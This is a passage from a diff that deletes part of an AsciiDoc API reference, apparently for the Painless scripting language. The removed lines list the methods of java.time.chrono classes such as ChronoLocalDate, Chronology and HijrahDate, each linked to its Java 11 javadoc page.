-* static ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static Comparator {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#timeLineOrder()[timeLineOrder]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#atTime(java.time.LocalTime)[atTime](LocalTime)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#compareTo(java.time.chrono.ChronoLocalDate)[compareTo](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* Chronology {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#getChronology()[getChronology]()
-* Era {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#getEra()[getEra]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isAfter(java.time.chrono.ChronoLocalDate)[isAfter](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isBefore(java.time.chrono.ChronoLocalDate)[isBefore](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isEqual(java.time.chrono.ChronoLocalDate)[isEqual](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isLeapYear()[isLeapYear]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfMonth()[lengthOfMonth]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfYear()[lengthOfYear]()
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toEpochDay()[toEpochDay]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toString()[toString]()
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#until(java.time.chrono.ChronoLocalDate)[until](ChronoLocalDate)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-
-
-[[painless-api-reference-shared-ChronoLocalDateTime]]
-==== ChronoLocalDateTime
-* static ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static Comparator {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#timeLineOrder()[timeLineOrder]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#atZone(java.time.ZoneId)[atZone](ZoneId)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#compareTo(java.time.chrono.ChronoLocalDateTime)[compareTo](ChronoLocalDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* Chronology {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#getChronology()[getChronology]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#isAfter(java.time.chrono.ChronoLocalDateTime)[isAfter](ChronoLocalDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#isBefore(java.time.chrono.ChronoLocalDateTime)[isBefore](ChronoLocalDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#isEqual(java.time.chrono.ChronoLocalDateTime)[isEqual](ChronoLocalDateTime)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#toEpochSecond(java.time.ZoneOffset)[toEpochSecond](ZoneOffset)
-* Instant {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#toInstant(java.time.ZoneOffset)[toInstant](ZoneOffset)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#toLocalDate()[toLocalDate]()
-* LocalTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#toLocalTime()[toLocalTime]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#toString()[toString]()
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-
-
-[[painless-api-reference-shared-ChronoPeriod]]
-==== ChronoPeriod
-* static ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#between(java.time.chrono.ChronoLocalDate,java.time.chrono.ChronoLocalDate)[between](ChronoLocalDate, ChronoLocalDate)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#addTo(java.time.temporal.Temporal)[addTo](Temporal)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#get(java.time.temporal.TemporalUnit)[get](TemporalUnit)
-* Chronology {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#getChronology()[getChronology]()
-* List {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#getUnits()[getUnits]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#isNegative()[isNegative]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#isZero()[isZero]()
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#multipliedBy(int)[multipliedBy](int)
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#negated()[negated]()
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#normalized()[normalized]()
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#subtractFrom(java.time.temporal.Temporal)[subtractFrom](Temporal)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoPeriod.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ChronoZonedDateTime]]
-==== ChronoZonedDateTime
-* static ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static Comparator {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#timeLineOrder()[timeLineOrder]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#compareTo(java.time.chrono.ChronoZonedDateTime)[compareTo](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* Chronology {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#getChronology()[getChronology]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* ZoneOffset {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#getOffset()[getOffset]()
-* ZoneId {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#getZone()[getZone]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#isAfter(java.time.chrono.ChronoZonedDateTime)[isAfter](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#isBefore(java.time.chrono.ChronoZonedDateTime)[isBefore](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#isEqual(java.time.chrono.ChronoZonedDateTime)[isEqual](ChronoZonedDateTime)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toEpochSecond()[toEpochSecond]()
-* Instant {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toInstant()[toInstant]()
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toLocalDate()[toLocalDate]()
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toLocalDateTime()[toLocalDateTime]()
-* LocalTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toLocalTime()[toLocalTime]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#toString()[toString]()
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#withEarlierOffsetAtOverlap()[withEarlierOffsetAtOverlap]()
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#withLaterOffsetAtOverlap()[withLaterOffsetAtOverlap]()
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#withZoneSameInstant(java.time.ZoneId)[withZoneSameInstant](ZoneId)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoZonedDateTime.html#withZoneSameLocal(java.time.ZoneId)[withZoneSameLocal](ZoneId)
-
-
-[[painless-api-reference-shared-Chronology]]
-==== Chronology
-* static Chronology {java11-javadoc}/java.base/java/time/chrono/Chronology.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static Set {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getAvailableChronologies()[getAvailableChronologies]()
-* static Chronology {java11-javadoc}/java.base/java/time/chrono/Chronology.html#of(java.lang.String)[of](null)
-* static Chronology {java11-javadoc}/java.base/java/time/chrono/Chronology.html#ofLocale(java.util.Locale)[ofLocale](Locale)
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#compareTo(java.time.chrono.Chronology)[compareTo](Chronology)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#date(java.time.temporal.TemporalAccessor)[date](TemporalAccessor)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#date(int,int,int)[date](int, int, int)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#date(java.time.chrono.Era,int,int,int)[date](Era, int, int, int)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#dateEpochDay(long)[dateEpochDay](long)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#dateYearDay(int,int)[dateYearDay](int, int)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#dateYearDay(java.time.chrono.Era,int,int)[dateYearDay](Era, int, int)
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#equals(java.lang.Object)[equals](Object)
-* Era {java11-javadoc}/java.base/java/time/chrono/Chronology.html#eraOf(int)[eraOf](int)
-* List {java11-javadoc}/java.base/java/time/chrono/Chronology.html#eras()[eras]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getCalendarType()[getCalendarType]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getId()[getId]()
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#isLeapYear(long)[isLeapYear](long)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#localDateTime(java.time.temporal.TemporalAccessor)[localDateTime](TemporalAccessor)
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/Chronology.html#period(int,int,int)[period](int, int, int)
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#prolepticYear(java.time.chrono.Era,int)[prolepticYear](Era, int)
-* ValueRange {java11-javadoc}/java.base/java/time/chrono/Chronology.html#range(java.time.temporal.ChronoField)[range](ChronoField)
-* ChronoLocalDate {java11-javadoc}/java.base/java/time/chrono/Chronology.html#resolveDate(java.util.Map,java.time.format.ResolverStyle)[resolveDate](Map, ResolverStyle)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#toString()[toString]()
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.temporal.TemporalAccessor)[zonedDateTime](TemporalAccessor)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.Instant,java.time.ZoneId)[zonedDateTime](Instant, ZoneId)
-
-
-[[painless-api-reference-shared-Era]]
-==== Era
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* null {java11-javadoc}/java.base/java/time/chrono/Era.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/Era.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-HijrahChronology]]
-==== HijrahChronology
-* static HijrahChronology {java11-javadoc}/java.base/java/time/chrono/HijrahChronology.html#INSTANCE[INSTANCE]
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#compareTo(java.time.chrono.Chronology)[compareTo](Chronology)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahChronology.html#date(java.time.temporal.TemporalAccessor)[date](TemporalAccessor)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahChronology.html#date(int,int,int)[date](int, int, int)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahChronology.html#date(java.time.chrono.Era,int,int,int)[date](Era, int, int, int)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahChronology.html#dateEpochDay(long)[dateEpochDay](long)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahChronology.html#dateYearDay(int,int)[dateYearDay](int, int)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahChronology.html#dateYearDay(java.time.chrono.Era,int,int)[dateYearDay](Era, int, int)
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#equals(java.lang.Object)[equals](Object)
-* HijrahEra {java11-javadoc}/java.base/java/time/chrono/HijrahChronology.html#eraOf(int)[eraOf](int)
-* List {java11-javadoc}/java.base/java/time/chrono/Chronology.html#eras()[eras]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getCalendarType()[getCalendarType]()
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#getId()[getId]()
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/Chronology.html#isLeapYear(long)[isLeapYear](long)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#localDateTime(java.time.temporal.TemporalAccessor)[localDateTime](TemporalAccessor)
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/Chronology.html#period(int,int,int)[period](int, int, int)
-* int {java11-javadoc}/java.base/java/time/chrono/Chronology.html#prolepticYear(java.time.chrono.Era,int)[prolepticYear](Era, int)
-* ValueRange {java11-javadoc}/java.base/java/time/chrono/Chronology.html#range(java.time.temporal.ChronoField)[range](ChronoField)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahChronology.html#resolveDate(java.util.Map,java.time.format.ResolverStyle)[resolveDate](Map, ResolverStyle)
-* null {java11-javadoc}/java.base/java/time/chrono/Chronology.html#toString()[toString]()
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.temporal.TemporalAccessor)[zonedDateTime](TemporalAccessor)
-* ChronoZonedDateTime {java11-javadoc}/java.base/java/time/chrono/Chronology.html#zonedDateTime(java.time.Instant,java.time.ZoneId)[zonedDateTime](Instant, ZoneId)
-
-
-[[painless-api-reference-shared-HijrahDate]]
-==== HijrahDate
-* static HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#of(int,int,int)[of](int, int, int)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* ChronoLocalDateTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#atTime(java.time.LocalTime)[atTime](LocalTime)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#compareTo(java.time.chrono.ChronoLocalDate)[compareTo](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* HijrahChronology {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#getChronology()[getChronology]()
-* HijrahEra {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#getEra()[getEra]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isAfter(java.time.chrono.ChronoLocalDate)[isAfter](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isBefore(java.time.chrono.ChronoLocalDate)[isBefore](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isEqual(java.time.chrono.ChronoLocalDate)[isEqual](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isLeapYear()[isLeapYear]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfMonth()[lengthOfMonth]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfYear()[lengthOfYear]()
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toEpochDay()[toEpochDay]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toString()[toString]()
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#until(java.time.chrono.ChronoLocalDate)[until](ChronoLocalDate)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-* HijrahDate {java11-javadoc}/java.base/java/time/chrono/HijrahDate.html#withVariant(java.time.chrono.HijrahChronology)[withVariant](HijrahChronology)
-
-
-[[painless-api-reference-shared-HijrahEra]]
-==== HijrahEra
-* static HijrahEra {java11-javadoc}/java.base/java/time/chrono/HijrahEra.html#AH[AH]
-* static HijrahEra {java11-javadoc}/java.base/java/time/chrono/HijrahEra.html#of(int)[of](int)
-* static HijrahEra {java11-javadoc}/java.base/java/time/chrono/HijrahEra.html#valueOf(java.lang.String)[valueOf](null)
-* static HijrahEra[] {java11-javadoc}/java.base/java/time/chrono/HijrahEra.html#values()[values]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* null {java11-javadoc}/java.base/java/time/chrono/Era.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/HijrahEra.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IsoChronology]]
-==== IsoChronology
-* static IsoChronology {java11-javadoc}/java.base/java/time/chrono/IsoChronology.html#INSTANCE[INSTANCE]
